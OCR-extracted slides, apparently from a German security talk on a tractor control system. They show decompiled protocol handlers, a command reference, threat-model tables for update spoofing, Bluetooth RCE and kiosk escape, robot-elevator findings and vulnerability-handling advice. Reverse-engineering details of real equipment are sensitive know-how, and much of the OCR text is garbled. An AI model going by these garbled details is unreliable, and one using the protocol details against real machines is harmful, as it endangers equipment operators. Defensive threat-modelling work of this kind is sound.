Nan08chs df eg 02 0 thb [pc. r2] fun_cmd_heartheat(& .packet buffer + Ox10,uVar2);
- return;

switchD 00008ch6: :switchdataD G0008cha ¥
pE00scha db 4h I
08008chb db 24h else {
O8008che dh &0k switchi{bvarl) {
pEr08chd dh 33h case Oxaa: B
f2008che db 35h fun_cmd_heartrequest (& .packet_buffer + 0x10,uVar2);
peeoschf db 44h return;

08008cc0 db aah CagelOrab: i ’
08008ccl 27 och fun_cmd_configrequest (& .packet_buffer + 0x10,uVar2);

return;

switchD 00Q08ch6: :caseD aa ‘REF[1]: 6 case Oxac:
0E002cc2 f& cB 30 movw param_no_idea whats_that,#0x2bc8 break:;
0B008cch 31 adds packet_buffer,#0x10 case Oxad: . . . o
0S008ccE c2 f2 00 00 movt param_no_idea whats_that=>DAT 20002bc8, #0x2000 fun_cmd_waypoint_config(packet_buffer + 0x10,uVar2);
0B008cce 45 maowv r2,réd return;

@8008cce 18 fO 39 fd fun_cmd_heartrequest case Oxae: . -
08008cd? bd {rd.rs.r7.oc} fun_cmd_curvel (packet_buffer + 0x10,uVar2);
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Protocol Command Reference

Decimal Command Description Handler Function

85 Seeauden FUN_0001710c Coa os f oa Joc foo L o= |
commands BlElREEE
86 Parameter setting FUN_000247c0

87 Heartbeat FUN_00019fc4
Version requests FUN_00021744
Configrequests  FUN_00014df8
Waypoint config ~ FUN_00005fa8 e o

Curve/Leading FUN 00006698

Waypoints Ox00 ©x00 OxPO Ox00 Ox00 Oxe0 Ox0e exeo

Multi curve FUN_000066c0

Double speed
way

Light show FUN_00016e20

OxXEC ©x91 (Version 2)

33 bytes (ex21)

@ (Not Cached)

FUN_0002a140

OxAD (-83) - Waypoint Configuration
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Tractor: Steuerungseingriff via Update

Spoofing, Tampering, Elevation of Privileges

Wahrsc

Betr'offene Auswirkung Exponiertheit Ausnutzbarkeit heinlic  Risiko SO
Schnittstelle hkeit Ideen

Macht was?

Posri]tLingr;c :YI,:BM ibt Ein System wird - HTTP Connection - HTTPS
sich als U dagte— was dazu  manipuliert inkl. - MitM Position bendtigt - Secure Update (dig.
Angreifer > UP WiFi fuhrt, Eingreifen in 3 WiFi 3 - MD5Hash 2 2 3 Signatur)
Endpoint aus um d < droid
manipulierte Datei ass Steuerung - Know-How - Hartung Androi
(Backdoor) FW/Steuerung System

zu installieren

MaRBnahmen/Ziel:
« Verteilung von Updates Uber sichere Kanale (HTTPS)
«  Uberprifung von Authentizitat und Integritat von Updates (Signierte Packages)

« Hartung des Android-Systems: Einschranken von Root-Rechten und verwenden der Plattformfeatures fur Least Privilege
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Tractor: Steuerungseingriff via Bluetooth RCE

Tampering, Elevation of Privileges

Wahrsc
Auswirkung Exponiertheit Ausnutzbarkeit heinlic  Risiko Ideen
hkeit

Betroffene
Schnittstelle

Gegenmalinahmen-

Macht was?

Auffinden und

ein System wird - Ausnutzen der - RegelméRige
nutzt bekannte was dazu  manipuliert inkl. Bluetooth - Schwachstelle Prufung auf
Angreifer  Schwachstelle in Bluetooth fuhrt, Eingreifen in 3 nahere 2 2 2 3 bekannte
- MD5 Hash
Bluetooth-Stack dass Steuerung Umgebung Schwachstellen
(Backdoor) - IKTIOHHAEE - System-Updates
FW/Steuerung y P

MaRnahmen/Ziel:

« Regelmaliige Prufung auf bekannte Schwachstellen
«  CRA-Anforderung!

« System-Updates

« Hartung des Android-Systems: deaktivieren nicht benétigter Schnittstellen
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Tractor: Steuerungseingriff via physischen Zugriff

Tampering, Elevation of Privileges

Betroffene el I Gegenmalinahmen-

Ideen

Macht was? Auswirkung Exponiertheit Ausnutzbarkeit heinlic  Risiko

Schnittstelle hkeit

Verlasst Kiosk- ein System wird

A Physischer - Kiosk-Escape
Modus und was dazu  manipuliert inkl. Zueri . )
, - , - . e ugriff - - Entwicklertools - Hartung des
Angreifer manipuliert Display, USB fuhrt, Eingreifen in 4 . 2 2 2 3 .
. nahere - Know-How Android Systems
System mittels dass Steuerung Umeebun FW/Steuerun
Entwicklertools (Backdoor) 8 g g
MaBBnahmen/Ziel:

* Hartung des Android-Systems

«  OS aktuell halten, um bekannte Escapes/Schwachstellen loszuwerden
«  Sichere Konfiguration des Kiosk-Modes

«  Einschranken von Root-Rechten

' TRAcking the TRActors



Bonus-Findings
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Event Timeline

00:36:29 - openDoor (Floor 9241017181009059) o il i

_calc_enter_elevator point
)] calc exit elevator point
00:36:41 - callElevator (12s later) i e s L
_calc_going_back_to_elevator point
b _calc_left_elevator_point
00:36:41 - closeDoor (FIoor 9241017181 009059) > _call_elevator_and_wait_elevator_arrive_current_floor
> _call_elevator_periodicity
00:37:04 - openDoor (Floor 9241017181009057) >3 et elavstorEtaa
> _is_robot_already enter_elevator_car
_is_robot_already left_elevator_car
_is_robot_in_elevator car
_is_robot_in_elevator_car
Su pp lier: bei J iaxin > _is_robot_in_elevator_door_stuck position
_is_robot_in_elevator door_stuck position
_is_robot_out_elevator _car
_is_robot_out_elevator _car
_keep_elevator_door_open_wait_robot_arrive_enter_elevator_point
_keep_elevator_door_open_wait_robot_arrive_left_elevator_point
_M_realloc_insert= elevator::CarConfig_const&:>

_M_realloc_insert<cr::elevator::FloorConfig_consté&:>
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il (ENHENEBA 180

Robot elevators The robot opens Introduction to Robot information

Robot elevators

You are here:Home > Robot Elevator

Bekaxin robot elevator system
According to IFR statistics, the scale of China's service robot market continued

to arow from 2018 to 2021 and the preliminarv calculation of the market <ize in
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| FBERIFEE: (1) HBATERBEI, B4 Wifi. 4G, LoRa, EFAK
EESEMEHERR, RAEBAMNRR LR THEEE,
SCHRIFHEIIGE.

(2) FHREIALRIERE, REBNIESRBBSRS
ML, Fi3. NEH. EEXIIFERRESENHBEA,
PAEH 28 A BEEIF IEMREBERHA.

HBEEE:

(1) MBABNBEE, BEIWifi, 4G, LoRa, BHF
RIZGEN SHERS, REBN[RIRIEEEE,

tb&&l&‘;Gﬁ?E@. Wetkiz@BM==, BHENIRA
EE‘ 6 °

(2) PIZFRHBEEH], REBIAEBEREER
HSCRIAIEAMNERA, LARNERAIRRILEE.




S05200
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Traktoren in der Nahe der Frontlinie (Ukraine)

20.03

Distance, km
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Nobody is perfect

Schwachstellen kénnen nicht
ganzlich verhindert werden - wichtig
ist der richtige Umgang damit!

CRA-Meldepflichten gelten mit 11.
September 2026

Vulnerability Handling

Eine gute Vorbereitung hilft allen Beteiligten

= Meldestellen schaffen, um Schwachstellenmeldungen von Kunden und
Forschern entgegennehmen zu kdnnen

» Wertschatzend und prompt auf Meldungen reagieren
= Meldepflichten beachten

= |ntern an betroffene Stellen weiterleiten und erforderliche Prioritat
zuweisen

= Koordinierte Offenlegung der Schwachstelle, so dass diese behoben
werden kann, bevor Details 6ffentlich werden

Der Hersteller des vorgestellten Systems zeigt, was man falsch machen kann:
= Meldungignorieren

= Forscher herunterspielen

* Intern nicht eskalieren

Nur durch den Druck der Offenlegung konnte eine brauchbare Reaktion
erzwungen werden.

= Aktive Ausnutzung wird wahrscheinlicher

= Deutlich schlechtere Publicity



Zusammenfassung

Bedrohungsanalyse

Es gibt kein vorgeschriebenes, verbindliches Vorgehen —
eigene Parameter/Matrix wahlbar

Ziel — eine nachvollzieh-, argumentier- & vertretbare
Analyse

Klare Informationen an Benutzer
- Was wird erwartet das getan wird?

- Welche Risiken bestehen?

Dokumentation/Referenz auf Anforderungen fur
Nachvollziehbarkeit

Saubere Umsetzung inkl. Entwicklungsvorgaben &
Security Tests

65



Secure
Development
Lifecycle

Produktsecurity endet nicht mit der
Bedrohungsanalyse!

TRAcking the TRActors

Security
Management

TN

. Specification
Security of Security
Guidelines Requirements

/\

[ (&)

Defense

in Depth
Security Strategy
V&V
Testing



3@5 Es gibt Tools, u.a. auch Microsoft Excel ©

N ext Ste ps g@g Eine Bedrohungsanalyse braucht nicht hunderte von

Risiken!

Keine Angst vor einer
Bedrohungsanalyse!

2@2 Holen Sie sich Unterstltzung bei Ihrer ersten
Analyse & beim Konzept

Bedrohungsanalyse 67
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LIMES

SECURITY

<] office@limessecurity.com

@ www.limessecurity.com

Defending what matters
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